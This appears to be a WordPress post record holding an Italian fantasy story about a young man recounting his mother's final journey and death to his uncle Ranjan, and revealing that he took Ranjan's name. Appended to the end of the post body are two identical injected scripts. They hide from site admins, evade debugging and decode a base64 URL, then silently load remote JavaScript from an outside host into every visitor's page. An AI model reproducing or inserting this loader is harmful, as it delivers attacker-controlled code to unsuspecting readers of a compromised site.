{"id":4124,"date":"2025-09-26T11:38:47","date_gmt":"2025-09-26T09:38:47","guid":{"rendered":"https:\/\/www.terredegliangeli.com\/calamai\/?p=4124"},"modified":"2025-10-21T04:05:31","modified_gmt":"2025-10-21T02:05:31","slug":"vivere-come-si-vuole","status":"publish","type":"post","link":"https:\/\/www.terredegliangeli.com\/calamai\/vivere-come-si-vuole\/","title":{"rendered":"Vivere come si vuole"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>(Scritto a quattro mani con il Fraaaank &lt;3)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Zio! \u2013 Il giovane varc\u00f2 la soglia della tenda a braccia aperte e sfoggiando un sorriso smagliante.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Ti aspettavo\u2026 Bentornato Piccolo! \u2013 Ranjan si alz\u00f2 con una certa difficolt\u00e0 dal suo scranno mastodontico zeppo di cuscini e il giovanotto gli si gett\u00f2 fra le braccia come se fosse stato ancora un lattante, bench\u00e9 ormai in altezza lo superasse di una spanna piena. Nonostante ci\u00f2, il ragazzo sembrava sparire nell&#8217;abbraccio del vecchio, ormai largo come un armadio a due ante.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ranjan lo fece accomodare in un sedile poco meno sontuoso del suo, indicando le libagioni posate elegantemente sul basso tavolino ai loro piedi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Potevo venirti incontro ad Athar come le altre volte, sai \u2013 prosegu\u00ec Ranjan versando del profumato t\u00e8 alla menta in due minuscoli bicchieri di porcellana.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Stavolta ci tenevo a tornare qui, zio. Per la mamma, sai.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Un\u2019ombra malinconica vel\u00f2 il sorriso allegro di Ranjan. Il Piccolo si rigir\u00f2 il bicchierino fra le mani, bevve un sorso generoso di t\u00e8 e inizi\u00f2 a raccontare. Sembrava che stesse scegliendo accuratamente le parole da usare.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Ormai \u00e8 passato pi\u00f9 di un anno dall\u2019ultima volta che siamo venuti a trovarti insieme\u2026 era gi\u00e0 malata, ma non lo aveva detto nemmeno a me.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Non sono stupito \u2013 dichiar\u00f2 Ranjan sollevando una foglia di menta dalla sua tazza e appoggiandola sul piattino.&nbsp; &#8211; Mi ricordo che prima di venire qui eravate passati da Alemar\u2026 non l\u2019ha detto nemmeno a tua zia?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211;&nbsp; Figurati, non l\u2019avrebbe mai fatto\u2026 La zia Katrinalea ha gi\u00e0 abbastanza grattacapi per conto suo, con quel marito che si ritrova! Prima quella storia del cuore, ora quel cialtrone pare sparito in un\u2019isola misteriosa\u2026 Non capisco proprio come sia finita una donna in gamba come lei con un idiota del genere!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Hai ereditato la mancanza di rispetto per gli alti papaveri di tua madre in tutte le sue sfumature, eh?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2013 Sar\u00e0 per tutto il sangue nobile che circola nella famiglia\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ranjan ridacchi\u00f2 e addent\u00f2 una tartina, invitando l\u2019ospite a fare altrettanto. \u2013 Dai racconta, non ti interrompo pi\u00f9.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dopo aver gustato lentamente un crostino di pane di segale impreziosito da una misteriosa salsa speziata, il Piccolo bevve un sorso di t\u00e8, appoggi\u00f2 la tazza sul piattino e si chin\u00f2 in avanti intrecciando le dita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; In breve, la mamma mi aveva chiesto di fare un lungo viaggio insieme. Come sai, era ormai da qualche tempo che mi ero organizzato per conto mio e lei per conto suo: mi ero un po\u2019 insospettito, ma pensavo semplicemente che stesse cominciando a sentire la mia mancanza\u2026 la mamma \u00e8 sempre stata cos\u00ec affettuosa\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Era affettuosa solo con te \u2013 puntualizz\u00f2 Ranjan alzando il dito.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Beh, all\u2019apparenza\u2026 &#8211; Il Piccolo si gratt\u00f2 la testa \u2013 Ma secondo me a modo suo era affettuosa con tutti\u2026 persino con te, zio!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Mhhh, tu dici? Non credo di poter contare le volte che per guarirmi in battaglia mi ha fatto pi\u00f9 lividi di quelli inflitti dei nostri avversari\u2026 &#8211; rimugin\u00f3 l\u2019uomo passandosi una mano sul collo, come percependo il ricordo di un vecchio brivido.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Oh beh\u2026 diceva che aveva imparato cos\u00ec\u2026 in ogni caso, solo dopo ho scoperto che la mamma aveva mandato missive a destra e a manca per sapere dove si trovassero i vostri vecchi compagni e aveva voluto compiere quel viaggio per salutare tutti quelli che poteva, senza dire a nessuno che sarebbe stata l\u2019ultima volta che si sarebbero visti.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2018Appropriato per Lana\u2019, mugugn\u00f3 Ranjan con un mezzo sorrisetto. Se c\u2019era qualcosa che Lana avrebbe odiato erano le smancerie pietose e i saluti melensi. Dura come il fil di ferro, fino in fondo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Ci siamo fermati a Ramana, a Magnirocca, a vedere se gli opifici andavano ancora a gonfie vele\u2026 siamo passati da Velathri a mangiare pasticcini\u2026 siamo stati a Nebin a raccogliere il luppolo con gli zombi\u2026 abbiamo fatto visita a Crepuscolo e Spiantato, fermandoci a bisbocciare senza badare a spese\u2026 ci siamo fermati in ogni singola taverna consacrata alla Croce del Sud nella Scacchiera perch\u00e9 la mamma voleva assicurarsi che non stessero battendo la fiacca\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; E come \u00e8 andata?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Ha avuto da ridire su tutto, ovviamente \u2013 Il Piccolo sorrise e Ranjan scoppi\u00f2 in una risata. \u2013 Per\u00f2 alla fine ha abbracciato tutti e ha brindato alla salute di Estrella, Rosina e a tutti i fedeli del miglior astro del firmamento\u2026 Ha pure pregato la Signora delle Vie in un tempio di Aldebaran: diceva che le ricordava i bei tempi trascorsi a molestare Sigrun.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Bei tempi\u2026 &#8211; Ranjan guard\u00f2 in alto divertito, come compiacendosi dei ricordi. &#8211; Ho un monile con gli occhi di Hor-Yama che starebbe bene sulla mensola di Sigrun insieme alla coppa intarsiata di gigli e cazzi che le regal\u00f2 tua madre\u2026&nbsp; &#8211; Riabbassando lo sguardo, l\u2019uomo not\u00f2 sul petto del ragazzo una medaglietta in metallo con sopra l\u2019incisione abbozzata di un non meglio specificato quadrupede, decorata con un lembo di stoffa scura quadrettata. &#8211; E invece le Fiere? \u00c8 riuscita a ricontattarle, vedo\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Ha rintracciato pure loro, s\u00ed\u2026 ed \u00e8 andata a salutarle indossando un kilt, Ellesham sola sa dove l\u2019abbia pescato, ricordando quel giorno glorioso in cui era stata un tasso del miele brandendo il Braver del Re Eterno per\u2026 ehm\u2026 \u201caprire il culo a quella stronza di merda\u201d! Penso sia stata una delle poche volte in cui l\u2019ho vista bere cos\u00ec tanto\u2026 A fine serata sembra che pure io sia diventato una fiera onoraria!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Per curiosit\u00e0\u2026 qual \u00e8 il tuo nome da fiera?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il Piccolo esit\u00f2. &#8211; Ehm\u2026 credo di essere Vombato\u2026 Padre Lince ti ringrazia per quel libro sugli animali che gli hai procurato, fra nuove acquisizioni e Fiere onorarie stava finendo i nomi delle bestie\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ranjan rise malinconicamente e chiuse gli occhi, rievocando sotto le palpebre le immagini di quel giorno cos\u00ec lontano in cui lui, Lana, le Fiere e tutte le Masnade erano insieme. Sembrava cos\u00ec assurdo che, dopo tutto questo tempo, davanti a lui ci fosse proprio quel bambino con gli occhi scuri e profondi che aveva protetto durante tutti i mesi bui in cui sua madre e la gran parte dei suoi compagni erano scomparsi e sulla Scacchiera si era abbattuto il finimondo. Adesso il Piccolo era un giovanotto in gamba, alto quanto lui ma decisamente pi\u00f9 snello, mentre lui era ormai un vecchio tricheco sformato, con la schiena storta come una firma in corsivo e le ginocchia che erano ormai un bel ricordo. Se avesse dovuto imbracciare lo scudo che quel giorno fatidico lo protesse dagli assalti dei Fatali, oggi gli avrebbe coperto a malapena un braccio.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Comunque \u2013 prosegu\u00ec il Piccolo \u2013 dopo aver passato qualche mese nella Scacchiera siamo ritornati a Scentiar e\u2026 beh, l\u00ec la mamma mi ha detto delle sue condizioni. Pare, ma non li ho mai incrociati, che i suoi vecchi amici del Sussurro passassero a trovarla spesso, soprattutto il Biondo, che penso andasse da lei con l\u2019unico intento di farsi maltrattare, ma c\u2019\u00e8 voluto poco perch\u00e9 la sua salute peggiorasse definitivamente. Sono rimasta con lei fino all\u2019ultimo.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ranjan rimase in silenzio. Negli occhi dell\u2019uomo il Piccolo vide una lacrima tremula, che non riusc\u00ec a racchiudere in un\u2019unica sensazione.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Per\u00f2 sai zio\u2026 anche se non c\u2019era pi\u00f9 nulla da fare\u2026 la mamma era proprio felice.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Il Piccolo sedeva in silenzio accanto al grande letto in cui riposava sua madre: era evidente che ormai non le rimaneva che un filo di fiato e anche tenere gli occhi aperti era uno sforzo non da poco.&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>All\u2019improvviso la vide guardare verso la finestra, verso il mare\u2026 o forse stava guardando qualcos\u2019altro?&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Piccolo mio, aiutami ad arrivare alla poltrona\u2026 e portami quel cestino che sta sotto il tavolo, per favore.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>La sua voce non era pi\u00f9 un rantolo adesso. Sembrava che il suo corpo avesse trovato un sacchetto di vigore nascosto da qualche parte e ne stesse approfittando avidamente. Il Piccolo la aiut\u00f2 a sistemarsi eretta e le sistem\u00f2 la treccia, che non aveva fatto in tempo a ricrescere cos\u00ec lunga come era stata un tempo. Era dall\u2019inizio del loro viaggio che aveva deciso di farsi allungare nuovamente i capelli.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Tira fuori tutto, adesso facciamo merenda.\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Nel cestino troneggiavano cioccolata di ogni qualit\u00e0 e bottigliette di liquori colorati: il Piccolo supponeva che provenissero da tutta Whanel e che in qualche modo c\u2019entrassero con tutti i viaggi che avevano compiuto insieme. Qualcuno aveva un\u2019etichetta decisamente sbiadita.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Il Piccolo apparecchi\u00f2 tutto sul tavolino davanti alla poltrona e inizi\u00f2 a banchettare con sua madre, allegra e pimpante come non era pi\u00f9 da troppe lune.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Tesoro mio, il mio viaggio sta decisamente per finire, sai? \u2013 dichiar\u00f2 allegra assaporando un pezzo di cioccolato nero con minuscoli granelli di sale che rilucevano alla luce del pomeriggio.\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Mamma non dire cos\u00ec\u2026 guarda come stai bene ora\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Ah, figurati! Il merito \u00e8 tutto della Signora di queste terre\u2026 mi sta facendo un ultimo favore, e gliene sono davvero grata, perch\u00e9 era il pi\u00f9 bel regalo che mi potesse fare. D\u2019altronde, rimango pur sempre la marmaglina pi\u00f9 fidata del Sussurro, la parente alla lontana a cui raccontano un sacco di cose di cui non vorrebbe sapere niente\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Il Piccolo guard\u00f2 sua madre in silenzio mentre lei rideva, stringendogli forte le mani.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Ma io ho gi\u00e0 avuto il mio regalo pi\u00f9 grande sai? L\u2019ho avuto tanti, tanti anni fa, quando ho messo piede per la prima volta nella Scacchiera e mi sono divertita con un tizio sconosciuto a una festa nel campo del Sussurro\u2026 e sei arrivato tu.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Che dici mamma\u2026 &#8211; il Piccolo abbass\u00f2 lo sguardo \u2013 ti sar\u00f2 stato di peso, no? Non eri andata l\u00ec per essere libera\u2026?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Che figlio scemo che sei! \u2013 rise lei accarezzandogli le guance. \u2013 Non lo sai ancora? Guarda che se non fosse stato per te, io non avrei mai capito che non tutti i legami sono ostacoli, noie, pericoli da evitare ad ogni costo\u2026 Non avrei mai capito che la gabbia dorata da cui ero fuggita me la portavo ancora addosso\u2026 Non avrei mai capito che s\u00ec, d\u2019accordo, troppe relazioni e troppe famiglie sono tossiche e non portano niente di buono, ma non sono mica tutte cos\u00ec. Che noia sarebbe stata la mia vita senza le lunghe chiacchierate con Antares e Iena, le litigate con Istrice, le canzoni di Cyra, le stupidaggini di Hetzi\u2026 E io non capisco bene che roba sia l\u2019amore romantico, come quello che lega Ciri e Alexa, ma mi guardo bene dal mancare di rispetto a chi lo prova\u2026 non sar\u00e0 troppo diverso da quello che sento io per te, no? E quando Cecily mi ha detto addio non ho pianto, ma ho comunque provato tanta tristezza: quattro anni prima non me ne sarebbe fregato proprio un cazzo!<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Si appoggi\u00f2 allo schienale della poltrona, accarezzando la testa ricciuta del Piccolo. &#8211; Prima gli altri erano solo sagome di passaggio nella mia esistenza: se non fosse stato per te, sarei ancora sola e penserei ancora che va bene cos\u00ec\u2026 Non avrei mai capito niente e non mi sarei mai riappropriata della mia vita, perch\u00e9 essere professionali va bene, ma solo quando stai lavorando!\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Si mise a ridere di gusto, rievocando conversazioni che evidentemente il Piccolo non aveva mai ascoltato. Poi lo abbracci\u00f2 stretto, attirandolo a s\u00e9 come fosse stato ancora un bimbo piccino.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Sei l\u2019astro pi\u00f9 splendente, Piccolo mio, il centro del mio mondo\u2026 che esiste solo perch\u00e9 la tua presenza mi ha permesso di capire che dovevo smettere di rintanarmi e alzare il culo! E ti sar\u00f2 sempre grata per questo, per sempre.\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Rimasero in silenzio per qualche istante, entrambi con gli occhi lustri, poi lei lo scost\u00f2 leggermente da s\u00e9.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Forse non sono stata una gran madre per te, soprattutto quando eri molto piccolo e mi toccava correre qua e l\u00e0 per la Scacchiera a evitare che il mondo esplodesse\u2026 Ma ho sempre cercato di fare del mio meglio e di fidarmi delle persone giuste\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Ma che dici mamma, &#8211; la rimprover\u00f2 il Piccolo con la voce gonfia di pianto &#8211;\u00a0 sei stata davvero brava\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Brava non lo so, ma sicuramente meglio di quella stronza infame di Katarina!\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Il Piccolo non pot\u00e9 fare a meno di scoppiare a ridere. Il groppo che aveva in gola si sciolse un pochino. Sua madre era fatta cos\u00ec.&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Ti do due consigli, anzi tre. Il primo, \u00e8 quello che mi scrisse tua nonna Fenella Luskan prima di morire: vivi come cazzo ti pare.\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8216;Eh s\u00ec, la mamma \u00e8 sempre la mamma&#8217;, <em>pens\u00f2 il Piccolo.\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Il secondo: scegli bene i tuoi amici, perch\u00e9 sar\u00e0 l\u2019unica fortuna di cui avrai mai bisogno.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E su questo tu te la sei cavata proprio bene, <em>comment\u00f2 il Piccolo dentro di s\u00e9.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Il terzo: se puoi vieni a morire a Scentiar, la Signora del posto \u00e8 proprio una gran bella ragazza!<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Al Piccolo sembr\u00f2 di sentire una risatina provenire da un punto indistinto alla sua sinistra, ma non vide nessuno. Non pot\u00e9 approfondire la questione perch\u00e9 sua madre lo strinse nuovamente a s\u00e9, lo baci\u00f2 con dolcezza sulla fronte e si accomod\u00f2 sulla poltrona, mandando gi\u00f9 l\u2019ultimo sorso di un liquore profumato contenuto nella boccetta pi\u00f9 vecchia di tutte. Riusc\u00ec solo a distinguere uno sbiadito \u201clathr\u201d sull\u2019etichetta, ma le lacrime stavano prendendo il sopravvento fra le sue ciglia. Sua madre gli stava dicendo addio.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Adesso prenditi cura di te e non preoccuparti pi\u00f9 per me, Piccolo\u2026 dove sto andando mi aspetta una gran festa\u2026 pensa, \u00e8 venuto a prendermi anche un vecchio amico con un gran gusto nel vestire\u2026\u00a0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Chiuse gli occhi, la schiena dritta sullo schienale della poltrona di vimini, fiera e sicura di s\u00e9 come la signora che era sempre stata.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; <em>Non sei cambiato di una virgola, Confettino\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Sorrise, e non si mosse pi\u00f9.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Da fuori si sentiva solo il vento del deserto intonare un canto armonioso, mentre nella tenda un silenzio carico di ricordi riempiva l\u2019aria. Il Piccolo si era accoccolato tra i cuscini colorati come in un morbido abbraccio, le ginocchia strette al petto, mentre Ranjan cercava qualcosa da dire sul fondo della sua tazza di t\u00e8.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Appropriato &#8211; riusc\u00ed solo a commentare con voce rotta, cercando di mascherarla senza successo n\u00e9 convinzione.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il Piccolo annu\u00ec con un sorriso tenue, senza aggiungere niente. Ranjan pass\u00f3 una manica del caffetano sugli occhi, poi con finta allegria prov\u00f3 a riprendere il discorso.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Almeno tua madre ha organizzato il viaggio da sola\u2026 Sono un po&#8217; stanco di amici che mi contattano per organizzare il loro ultimo viaggio al Sud! Cosa sono diventato, il carovaniere dei moribondi? Ora far\u00f2 scrivere sul fianco dei cammelli \u2018Vedi Scentiar e poi muori\u2019!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il giovane uomo ridacchi\u00f2 tirando su col naso.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Direi che in onore di tua madre stasera ti far\u00f2 bere come una spugna &#8211; continu\u00f3 l\u2019uomo. &#8211; Dai, vatti a mettere comodo che intanto do istruzioni per la cena!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il Piccolo scosse la testa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Non abbiamo mica finito, zio\u2026 Se fosse stato solo per raccontarti della mamma ci saremmo potuti trovare altrove, come dicevi prima, ma c\u2019\u00e8 dell&#8217;altro.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ranjan tacque. La gola gli si era seccata completamente e pot\u00e9 solo guardare interrogativo il Piccolo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; La mamma ha tenuto fede al suo proposito: \u201cIo non gli dar\u00f2 un nome, se lo sceglier\u00e0 da solo quando sar\u00e0 il momento!\u201d, ha sempre detto. Beh, quel momento \u00e8 giunto\u2026 Sar\u00e0 stato il retaggio alemarita ma mi ha fatto fare per il mio nome lo stesso che i giovani di Alemar fanno per il loro primo carro: se lo devono guadagnare.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019uomo pens\u00f3 che il ragazzo avesse preso dalla madre il gusto per torturare le persone. Il Piccolo non si negava pause drammatiche per sottolineare il discorso.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Insomma, sono venuto qui per portarti il primo documento commerciale firmato con il nuovo nome completo che mi sono scelto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cos\u00ec dicendo estrasse una pergamena dalla scarsella e la porse allo zio, che la srotol\u00f2 con la foga di un assetato nel deserto innanzi a una giara d\u2019acqua. L\u2019uomo lesse, trasecol\u00f3 e si butt\u00f3 seduto con gli occhi sbarrati.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La firma recitava \u2018Ranjan Luskan Goska Della Via\u2019.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Perch\u00e9? &#8211; riusc\u00ed solo a balbettare l\u2019uomo, le lacrime che gli solcavano il viso rugoso e il labbro inferiore che vibrava violentemente e incontrollabilmente.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Perch\u00e9 ci sei sempre stato, zio\u2026 Per me, per la mamma\u2026 Quando lei non tollerava nessuno vicino, tu avevi gi\u00e0 deciso che saresti stato suo <em>habibi<\/em>\u2026 Quando io crescevo senza un padre, tu eri l\u00ed come balia, come custode, come amico\u2026 Credo che fosse la scelta pi\u00f9 naturale del mondo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ridotto a una maschera ridicola di lacrime e muco, Ranjan abbass\u00f2 nuovamente lo sguardo sul documento per gustare appieno quel momento; solo in quel momento not\u00f2 una cosa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Questo documento \u00e8 di cinque anni fa\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Ehm, s\u00ed, zio\u2026 &#8211; tentenn\u00f2 il non-pi\u00fa-Piccolo, trattenendo un ghigno.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Cio\u00e8, sono cinque anni che pure tu ti chiami Ranjan? Porti il mio stesso nome e non mi hai detto niente per tutto questo tempo??<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Era la volont\u00e0 della mamma! &#8211; il ragazzo allarg\u00f2 le braccia come a discolparsi, non trattenendo pi\u00f9 le risate. &#8211; Quando glielo proposi mi rispose: \u201cFai come ti pare, ma avrai la mia benedizione solo se non glielo dirai finch\u00e9 campo!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ranjan ud\u00ed distintamente nelle orecchie l\u2019ultima frase proprio dalla voce di Lana. Scosse il capo, scoppiando a ridere pure lui.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211; Tipico &#8211; si limit\u00f2 a commentare.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>(Scritto a quattro mani con il Fraaaank &lt;3) &#8211; Zio! \u2013 Il giovane varc\u00f2 la soglia della tenda a braccia aperte e sfoggiando un sorriso smagliante. &#8211; Ti aspettavo\u2026 Bentornato Piccolo! \u2013 Ranjan si alz\u00f2 con una certa difficolt\u00e0 dal suo scranno mastodontico zeppo di<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[103],"tags":[],"class_list":["post-4124","post","type-post","status-publish","format-standard","hentry","category-la-scacchiera"],"_links":{"self":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/comments?post=4124"}],"version-history":[{"count":3,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4124\/revisions"}],"predecessor-version":[{"id":4175,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4124\/revisions\/4175"}],"wp:attachment":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/media?parent=4124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/categories?post=4124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/tags?post=4124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}